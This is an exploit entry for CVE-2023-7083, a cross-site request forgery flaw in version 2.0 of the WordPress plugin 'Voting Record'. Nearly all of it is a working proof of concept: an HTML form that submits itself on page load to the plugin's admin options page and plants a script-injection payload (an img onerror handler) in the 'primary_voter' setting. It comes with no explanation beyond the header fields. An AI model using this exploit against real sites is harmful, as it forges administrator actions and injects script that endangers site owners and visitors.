CVE: CVE-2023-7083

Name: Voting Record (voting-record)

Version: 2.0

Date: 2022-12-10 21:19:51

Advisory: 

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=voting-record%2Fvoting-record.php" method="POST">
    <input type="text" name="primary_voter" value='hacked"><img src=x onerror=alert(1)>'>
    <input type="text" name="limit" value="">
    <input type="text" name="type" value="votes">
    <input type="text" name="extension" value="">
    <input type="text" name="open_recent" value="">
    <input type="text" name="close_recent" value="">
    <input type="text" name="recent_template" value="">
    <input type="text" name="no_recent" value="">
    <input type="text" name="open_search" value="">
    <input type="text" name="close_search" value="">
    <input type="text" name="search_template" value="">
    <input type="text" name="no_search" value="">
    <input type="text" name="update_options" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>